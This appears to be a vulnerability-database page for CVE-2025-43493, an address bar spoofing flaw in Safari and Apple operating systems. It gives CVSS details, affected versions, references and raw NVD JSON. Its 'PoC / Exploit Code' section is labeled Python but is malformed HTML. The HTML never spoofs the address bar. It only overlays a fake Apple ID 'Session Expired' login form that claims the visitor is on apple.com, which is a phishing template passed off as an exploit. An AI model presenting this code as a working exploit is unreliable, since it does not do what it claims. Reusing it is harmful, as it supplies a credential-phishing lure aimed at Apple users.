CVE-2025-43493

Description

The issue was addressed with improved checks. This issue is fixed in Safari 26.1, iOS 18.7.2 and iPadOS 18.7.2, iOS 26.1 and iPadOS 26.1, macOS Tahoe 26.1, visionOS 26.1. Visiting a malicious website may lead to address bar spoofing.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:apple:safari:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:* - VULNERABLE

Safari < 26.1

iOS < 18.7.2

iPadOS < 18.7.2

iOS < 26.1

iPadOS < 26.1

macOS Tahoe < 26.1

visionOS < 26.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-43493 Address Bar Spoofing PoC
// This is a conceptual PoC for educational and security testing purposes only

<!DOCTYPE html>
<html>
<head>
    <title>Address Bar Spoofing Test</title>
</head>
<body>
    <h1>Address Bar Spoofing Vulnerability Test</h1>
    <p>This PoC demonstrates the address bar spoofing technique.</p>
    
    <script>
        // Simulate address bar manipulation
        function spoofAddressBar() {
            // Create a fake login form that appears to be on a trusted site
            const fakeForm = document.createElement('div');
            fakeForm.innerHTML = `
                <div style="border: 2px solid #ccc; padding: 20px; margin: 50px auto; width: 300px;">
                    <h2>Session Expired - Please Re-login</h2>
                    <p>You are still on: <strong>https://www.apple.com</strong></p>
                    <form>
                        <input type="text" placeholder="Apple ID" style="display:block; margin:10px 0;"><br>
                        <input type="password" placeholder="Password" style="display:block; margin:10px 0;"><br>
                        <button type="submit">Sign In</button>
                    </form>
                </div>
            `;
            document.body.appendChild(fakeForm);
            
            // Note: Modern browsers have mitigations against this
            // This PoC is for understanding the vulnerability concept
        }
        
        // Trigger after a delay to demonstrate the timing issue
        setTimeout(spoofAddressBar, 2000);
    </script>
</body>
</html>

// Mitigation: Users should verify the full URL and look for HTTPS indicators

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-43493
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-43493
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-43493/
[4] VulDB https://vuldb.com/cve/CVE-2025-43493
[5] https://support.apple.com/en-us/125632
[6] https://support.apple.com/en-us/125633
[7] https://support.apple.com/en-us/125634
[8] https://support.apple.com/en-us/125638
[9] https://support.apple.com/en-us/125640

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-43493", "sourceIdentifier": "[email protected]", "published": "2025-11-04T02:15:52.590", "lastModified": "2026-04-02T19:20:53.777", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "The issue was addressed with improved checks. This issue is fixed in Safari 26.1, iOS 18.7.2 and iPadOS 18.7.2, iOS 26.1 and iPadOS 26.1, macOS Tahoe 26.1, visionOS 26.1. Visiting a malicious website may lead to address bar spoofing."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-290"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apple:safari:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "CFF118CE-3F13-43BE-B250-5579E1C842EB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "6D51AEDC-9086-4010-B3BF-C652D65D09C8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "3981A7BE-BC98-4C6F-AE38-D68839368925"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "7DFD3616-65CA-4E5C-849C-3C20ACBCB610"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125632", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125633", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125634", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125638", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125640", "source": "[email protected]"}]}}